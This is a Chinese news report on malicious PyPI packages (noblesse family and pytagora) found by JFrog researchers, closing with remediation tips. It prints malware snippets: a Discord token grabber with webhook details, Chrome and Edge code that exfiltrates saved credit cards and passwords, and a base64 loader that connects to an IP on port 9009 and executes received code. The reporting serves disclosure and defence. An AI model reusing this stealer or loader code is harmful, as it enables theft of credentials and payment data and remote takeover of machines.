下个软件包可能泄露信用卡信息,Python包存储库PyPI又爆恶意代码,下载达3万次,你中招了吗?...
近日,有研究人員又在 Python 官方軟件包存儲庫 PyPI 中發現了 8 個惡意軟件包,這些惡意代碼會暗中竊取信用卡數據和登錄憑據,并在受感染的機器上注入惡意代碼。據估計,這些軟件包的下載次數達到了 3 萬次。
>>>>
PyPI(Python Package Index)是 Python 的正式第三方軟件包的開源軟件存儲庫,它類似于 CPAN(Perl 的存儲庫)。pip 等一些軟件包管理器就是默認從 PyPI 下載軟件包。任何用戶都可以下載第三方庫和上傳自己開發的庫,目前通過 PyPI 可以下載超過 23.5 萬個 Python 軟件包。
但是,PyPI 軟件存儲庫經常被濫用也成為一個不爭的事實。2018 年,一位安全研究者 Bertus 對 PyPI 進行安全掃描時發現了 12 個有問題的軟件包,其中包含可以導致安全隱患、開啟后門甚至盜取比特幣的惡意代碼;2020 年騰訊洋蔥反入侵系統發現 PyPI 被惡意上傳了 request 釣魚包,攻擊者通過偽造 requests 包名進行釣魚,能夠對受感染的主機進行入侵,進而可能竊取用戶敏感信息及數字貨幣密鑰、種植持久化后門、命令控制等。
近日,DevOps 軟件供應商 JFrog 的幾位研究人員發表文章稱,他們最近在 PyPI 中又發現了 8 個可執行一系列惡意活動的軟件包,并且根據對 PePy 網站(一個提供 Python 包下載統計數據的站點)的搜索,這些惡意包的下載次數估計達到了 3 萬。
他們表示,這些惡意代碼會暗中竊取信用卡數據和登錄憑據,并在受感染的機器上注入惡意代碼。在收到研究人員的通知后,PyPI 的維護者 Dustin Ingram 迅速做出反應并刪除了惡意軟件包。
兩類不同的惡意代碼族構成系統性威脅
這一發現是近年來一系列攻擊中最新的一個,這些攻擊超過了開源存儲庫的接受能力,數以百萬計的軟件開發人員每天都依賴開源存儲庫。盡管軟件存儲庫扮演著至關重要的角色,但它們往往缺乏魯棒的安全性和審查控制,當開發人員在不知情的情況下感染惡意代碼或將惡意代碼嵌入他們發布的軟件時,這一弱點有可能導致嚴重的供應鏈攻擊。
JFrog 首席技術官 Asaf Karas 表示:「諸如 PyPI 這樣的流行軟件庫中不斷發現惡意軟件包,這種趨勢令人擔憂,有可能導致更為廣泛的供應鏈攻擊。攻擊者使用簡單的混淆技術來引入惡意軟件,這意味著開發人員必須時刻保持關注和警惕。這是一種系統性威脅,需要在包括軟件存儲庫的維護人員和開發人員等不同層面上進行解決。」
與大多數 Python 惡意軟件一樣,這些包僅使用了簡單的混淆技術,例如來自 Base64 編碼器的混淆。在這 8 個惡意軟件包中,前 6 個(noblesse、genesisbot、aryi、suffer、noblesse2 和 noblessev2)均包含 3 個有效負載,一個用于獲取 Discord 賬戶的認證 cookie,第二個用于提取在瀏覽器存儲的任何密碼或支付款卡數據,第三個用于收集受感染 PC 的信息,如 IP 地址、計算機名和用戶名。
有效負載 1:竊取 Discord 身份驗證 token
noblesse 惡意軟件族的首個有效負載是竊取 Discord 身份驗證 token。身份驗證 token 允許攻擊者冒充最初持有 token 的用戶,類似于 HTTP 會話 cookie。竊取 token 的有效負載基于臭名昭著的 dTGPG 有效負載,它是一個從未公開發布的生成器工具,但個性化 token 抓取器是公開共享的,并且一些示例也上傳到了 GitHub。因此,Discord 身份驗證 token 竊取器代碼非常簡單,它迭代一組硬編碼的路徑:
local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA')paths = {'Discord': roaming + '\\Discord','Discord Canary': roaming + '\\discordcanary','Discord PTB': roaming + '\\discordptb','Google Chrome': local + '\\Google\\Chrome\\User Data\\Default','Opera': roaming + '\\Opera Software\\Opera Stable','Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default','Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'}然后讀取這些路徑下(特別是 Local Sotrage\leveldb)的所有的. log 和. ldb 文件,并查找 Discord 身份驗證 token。所得結果通過 Webhook 上傳到 Discord,所用參數如下:
{"type": 1,"id": "807327703082074143","name": "Captain Hook","avatar": null,"channel_id": "725001140324008047","guild_id": "720931953251057725","application_id": null,"token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}有效負載 2:竊取自動完成敏感數據(信用卡和密碼)
noblesse 惡意軟件族的第二個有效負載可自動完成信息竊取。目前所有的現代瀏覽器都支持保存用戶密碼和信用卡信息的能力:
這種自動保存功能給用戶帶來了極大的便利,但缺點是,這些信息可能會被訪問本地機器的惡意軟件泄露。在這種情況下,惡意軟件試圖從 Chrome 竊取信用卡信息:
def cs():master_key = master()login_db = os.environ['USERPROFILE'] + os.sep + \ r'AppData\Local\Google\Chrome\User Data\default\Web Data'shutil.copy2(login_db, "CCvault.db")conn = sqlite3.connect("CCvault.db")cursor = conn.cursor()try:cursor.execute("SELECT * FROM credit_cards") for r in cursor.fetchall():username = r[1]encrypted_password = r[4]decrypted_password = dpw(encrypted_password, master_key)expire_mon = r[2]expire_year = r[3]hook.send(f"CARD-NAME:" + username + "\nNUMBER:" + decrypted_password + "\nEXPIRY M:" + str(expire_mon) + "\nEXPIRY Y:" + str(expire_year) + "\n" + "*" * 10 + "\n")另外,從 Edge 中竊取保存的密碼和信用卡信息:
login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'... cursor.execute("SELECT action_url, username_value, password_value FROM logins") decrypted_password = dpw(encrypted_password, master_key)if username != ""or decrypted_password !="":hook.send(f"URL:" + url + "\nUSER:" + username + "\nPASSWORD:" + decrypted_password + "\n" + "*" * 10 + "\n")有效負載 3:用戶系統信息收集
noblesse 惡意軟件族的第三個有效負載是收集中招用戶系統的相關信息,并上傳至上文提到的 Webhook。收集的信息包括如下:
IP 地址;
計算機名;
用戶名;
Windows 許可關鍵信息;
Windows 版本;
屏幕截圖(使用 Pillow 的 ImageGrab)。
pytagora 惡意軟件族:遠程代碼注入攻擊
不過,Karas 表示前 6 個軟件包具有感染開發者計算機的能力,但卻不能用惡意軟件感染開發者編寫的代碼。第二類惡意軟件族則要簡單得多,軟件包的代碼如下:
import mathimport base64,sys def hello():exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...')) def hypotenuse(a,b):hello()c = math.sqrt(math.pow(a,2) + math.pow(b,2)) return round(c,2) def other(c,x):y = math.sqrt(math.pow(c,2)-math.pow(x,2)) return round(y,2)模糊代碼又被解碼為了以下代碼片段:
import socket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM) s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0] print (l)d=s.recv(l) print (d)while len(d)>!1:d+=s.recv(l-len(d)) print (d) exec(d,{'s':s})簡單地說,惡意軟件試圖連接 TCP 端口 9009 上的私有 IP 地址,然后執行從 socket 中讀取的任何 Python 代碼。
對此,Karas 表示:「對于 pytagora 和 pytagora2 這兩個軟件包,則允許在安裝它們的機器上代碼執行,這是有可能的。在感染了開發機器之后,惡意軟件包允許代碼執行,然后攻擊者可以下載有效負載,從而修改正在開發的軟件項目。我們沒有證據表明惡意軟件確實是這樣執行的。」
機器中招,怎么辦?
如果你在檢查完 PyPI 依賴項后,確認 noblesse(或是克隆版本)已經在本地安裝,你可以采取以下建議:
檢查 Edge 中保存了哪些密碼,并在每個網站上更改這些被泄露的密碼(還包括重復使用相同密碼的網站)。你可以這樣做:打開 Edge,然后導航到 edge://settings/passwords。保存密碼的完整列表(這些都是潛在的危害)可以在 Saved passwords 查看。
檢查哪些信用卡信息保存在 Chrome,可以考慮在 Chrome 中取消這些信用卡。你可以這樣做:打開 Chrome,導航到 chrome://settings/payments。完整的信用卡信息列表(這些都是潛在的危害)可以在 Payment methods 中查看。
如果你已經確定 pytagora(或者克隆版本)已經在你的機器上本地安裝,盡管你的機器可能不會感染相關的惡意軟件,但建議你還是遵循常用的惡意軟件檢查步驟進行檢查,例如使用已安裝的殺毒軟件進行全面掃描。
參考鏈接:
https://www.secrss.com/articles/24477
https://www.freebuf.com/column/188051.html
https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/
https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199
—版權聲明—
來源:機器之心,編輯:nhyilin
僅用于學術分享,版權屬于原作者。
若有侵權,請聯系微信號:Eternalhui或nhyilin刪除或修改!
—THE END—
文章推薦
?隨機、賭徒謬誤、小數定律,概率論中最簡單的智慧
?《數學分析》里的人生
?改變世界的6大計算機實驗室
?很多事情難解釋,回歸平均是原因
?一直不解,為什么如此定義矩陣的乘法,為什么這樣一種怪異的乘法規則卻能夠在實踐中發揮如此巨大的功效?
?一道有趣的數學題告訴我:不要想當然
總結
以上是生活随笔為你收集整理的下个软件包可能泄露信用卡信息,Python包存储库PyPI又爆恶意代码,下载达3万次,你中招了吗?...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 秒杀青椒、博导?某高校本科生:宣称主持4
- 下一篇: 破五唯后,高校从“唯论文”变成了“唯纵向